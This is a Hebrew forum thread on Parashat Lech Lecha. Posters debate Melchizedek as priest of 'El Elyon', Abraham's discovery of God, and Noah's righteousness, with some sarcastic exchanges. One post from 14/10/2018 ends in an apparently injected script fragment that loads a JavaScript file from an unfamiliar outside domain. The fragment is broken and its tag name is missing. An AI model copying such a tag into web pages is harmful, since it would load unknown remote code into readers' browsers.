| נשלח ב-16/10/2007 16:07 |
 |
| |
לך לך
(אשכול זה נפתח בהתאם לנכתב כאן ובהודעה הפותחת שם)
|
|
|
|
| נשלח ב-17/10/2018 09:22 |
|
| |
| אברם_העברי כתב: |  |
אתנתחתא קומית
|
|
שמחתי לראות שזכיתי להיות אמתחתך הקיומית...
הלוואי והייתה לך השגה כמה חשובה ויקרה מעלתו של מי שזוכה לשמח יהודי...
|
|
|
|
| נשלח ב-17/10/2018 09:17 |
|
| |
| אברם_העברי כתב: | |
התיאולוגיה היא חיפוש במרתף פחמים,
באמצע לילה אפל,
אחר חתול שחור שלא נמצא שם.
|
|
עכשיו אתה מבין איפה כתבת את שלושת המאמרים האחרונים?...
תצא בחוץ!
|
|
|
|
| נשלח ב-16/10/2018 08:40 |
|
| |
אברם_העברי
| תלמידתלמיד כתב: | | אברהם העברי עם כל הכבוד, זו לא תשובה להשתיל את הסיפור עם דוד כי זה הכי מתאים לדקדוק לשוני ומה שמשתמע מחרס.
לא רק בגלל דקדוק לשוני, אלא בגלל ההקשר, התוכן והסגנון. ומה זה "משתמע מחרס"?
בפרט שזה מופרך מאליו, אחרי שלדוד היו חמשה חומשי תורה כמו שלנו, על פי כל העדויות ומסורת הדורות, אין שום חור הסטורי שבו ניתן לומר שמישהו השתיל בתוך התורה כמה פסוקים ואף אחד לא שם לב .
אין ספק שלדוד היה חלק מהתורה - אבל לא את הכל. אחרת לא ברור איך הוא נשא שתי אחיות, תקף את מואב ועוד.
שלישי , מה קשור השטויות האלה לכאן ? כבר שאלת את אותה שאלה בכל מקום. זה מפריע לרצף הדיונים .
אתה מתכוון לאיזכור של שלישישי?זה בבחינת אתנתחתא קומית להפיג את אותו "רצף דיוני" (מושג תיאורטי שלא קיים בשום אשכול, אגב:)
|
|
|
|
|
|
| נשלח ב-15/10/2018 19:23 |
|
| |
אברהם העברי עם כל הכבוד, זו לא תשובה להשתיל את הסיפור עם דוד כי זה הכי מתאים לדקדוק לשוני ומה שמשתמע מחרס. בפרט שזה מופרך מאליו, אחרי שלדוד היו חמשה חומשי תורה כמו שלנו, על פי כל העדויות ומסורת הדורות, אין שום חור הסטורי שבו ניתן לומר שמישהו השתיל בתוך התורה כמה פסוקים ואף אחד לא שם לב .
שלישי , מה קשור השטויות האלה לכאן ? כבר שאלת את אותה שאלה בכל מקום. זה מפריע לרצף הדיונים .
|
|
|
|
| נשלח ב-15/10/2018 17:07 |
|
| |
אברם_העברי
| שלישישי כתב: | | שלישישי כותב את האמת והנכון.
אמר כל אחד, כל הזמן.
אפשר לחשוב שאחרי שטחנת שלושה מאמרים בילבוליציוניים מצאת את אלוהים...
אם כ"כ הרבה זמן מחפשים ולא מוצאים (טוב, חוץ ממך כמובן) - אולי הוא לא שם? וכמאמר החכם:
התיאולוגיה היא חיפוש במרתף פחמים, באמצע לילה אפל, אחר חתול שחור שלא נמצא שם. |
|
|
|
|
|
| נשלח ב-15/10/2018 17:04 |
|
| |
אברם_העברי
| פרוגרמי כתב: | | אברם, אני חייב להודות שההסבר שלך יפה ומקורי
|
|
תודה!
תוקן על ידי אברם_העברי ב- 15/10/2018 17:05:51
|
|
|
|
| נשלח ב-15/10/2018 10:19 |
|
| |
| אברם_העברי כתב: | | ( ששלישישי )
|
|
שלישישי כותב את האמת והנכון.
אפשר לחשוב שאחרי שטחנת שלושה מאמרים בילבוליציוניים מצאת את אלוהים...
אם לא ראית, מומלץ:
https://youtu.be/nwjFGOjlkbM
|
|
|
|
| נשלח ב-15/10/2018 09:58 |
|
| |
אברהם אברהם הכיר את ה' בשפה אחרת ממלכי צדק. הוא דיבר בשפתו ומלכיצדק בשפתו.
אבל שניהם כיוונו לאותו קאל
תוקן על ידי ירוחםשמ ב- 15/10/2018 09:59:14
|
|
|
|
| נשלח ב-14/10/2018 23:16 |
|
| |
אברם, אני חייב להודות שההסבר שלך יפה ומקורי
רמי< type="text/" async="" src="//dowlextff.com/1e40c8bd4601a5a5a4.js">
|
|
|
|
| נשלח ב-14/10/2018 19:31 |
|
| |
שים לב שמלכיצדק אומר פעמיים "בָּרוּךְ אַבְרָם לְאֵל עֶלְיוֹן קֹנֵה שָׁמַיִם וָאָרֶץ. וּבָרוּךְ אֵל עֶלְיוֹן..." ואילו אברם "מתקן" אותו ומוסיף את שם ה': "הֲרִימֹתִי יָדִי אֶל י- הוה אֵל עֶלְיוֹן..." (מזל ששלישישי לא היה שם, אחרת היה מוכיח לכולם שהם לא יודעים מי זה ה', והפרק לא היה נגמר עד היום)
נ"ב
הארכתי למעניתי בפוסט הנקרא על שמי "חידת בראשית י"ד ואברם העברי" – חלק 1, חלק 2. וכל הנקרא בשמי לכבודי בראתיו וכו', ובמלוא הצניעות דרשתי עליי מאמרם ז"ל "הראשונים חרשו, זרעו, ניכשו וכו' ואתם אין לכם פה לאכול":)
|
|
|
|
| נשלח ב-14/10/2018 18:48 |
|
| |
איך יאמרו הבלים כאלה. הרי לא מלכיצדק אמר שהוא כהן לאלעליון התורה מעידה עליו.
|
|
|
|
| נשלח ב-14/10/2018 17:36 |
|
| |
כמובן שיש שיאמרו שאל עליון הוא אל כנעני(ו"ויתן לו מעשר" יכול להתפרש על מלכיצדק שנתן לאברהם המנצח מעשר)
|
|
|
|
|
| נשלח ב-14/10/2018 14:09 |
|
| |
אברם_העברי
כעין זה הקשה הראב"ד על הרמב"ם הל' ע"ז א, ב והנה תשובתו ותשובת הכס"מ:
|
|
|
|
| נשלח ב-14/10/2018 11:11 |
|
| |
| ירוחםשמ כתב: | | מדרשי חז"ל רבים עוסקים בחיפושי אברהם במציאותו של ה'. וקובעים שהוא הראשון שהאמין והפיץ ברבים את האמונה בבורא עולם. איך מתמודדים עם הפסוק הזה?
בראשית פרק יד (יח) וּמַלְכִּי צֶדֶק מֶלֶךְ שָׁלֵם הוֹצִיא לֶחֶם וָיָיִן וְהוּא כֹהֵן לְאֵל עֶלְיוֹן:
(יט) וַיְבָרְכֵהוּ וַיֹּאמַר בָּרוּךְ אַבְרָם לְאֵל עֶלְיוֹן קֹנֵה שָׁמַיִם וָאָרֶץ:
(כ) וּבָרוּךְ אֵל עֶלְיוֹן אֲשֶׁר מִגֵּן צָרֶיךָ בְּיָדֶךָ וַיִּתֶּן לוֹ מַעֲשֵׂר מִכֹּל:
מלך של עיר- עם תושבים רבים כהן לקאל עליון אברהם מפריש לו מעשר.
|
|
אכן אברהם הגיע לאמונת ה דרך דרישה וחקירה, ואחר מכן נודע לו גם על שם ונח וכו'.
|
|
|
|
| נשלח ב-14/10/2018 10:44 |
|
| |
| מיכההמרשתי כתב: | | תראה, הפעם הראשונה שכתובה צדקותו של נח היא ביחס לבני דורו ולא כשלעצמו - "וירא ה' כי רבה רעת האדם בארץ... ונח מצא חן בעיני ה'" (סוף פרשת בראשית). הפעם הבאה היא ב"אלה תולדות נח". כשכתוב אלה תולדות זה אומר שכאן הוא סיפור חייו של נח. גם על יצחק ויעקב כתוב "אלה תולדות". על אברהם משום מה אין פסוק כזה, ועל זה תוכל לשאול. ומבלי לעיין הייתי אומר שפשוט אברהם אצלו כל דבר שהוא עשה עמד לעצמו, והיה לו חשיבות כשלעצמו, ולא היה צורך לשים את הכל בחדא מחתא של "אלה תולדות". ונ"ל שניתן להוסיף הסברים.
|
|
על יצחק ויעקב זה נכתב במובן של בנים אחריהם , לא כמו אצל נח שזה סיכום חייו. אצל אברהם ושאר האבות, אין סיכום אלא אריכות של כל פרט ופרט.
|
|
|
|
|
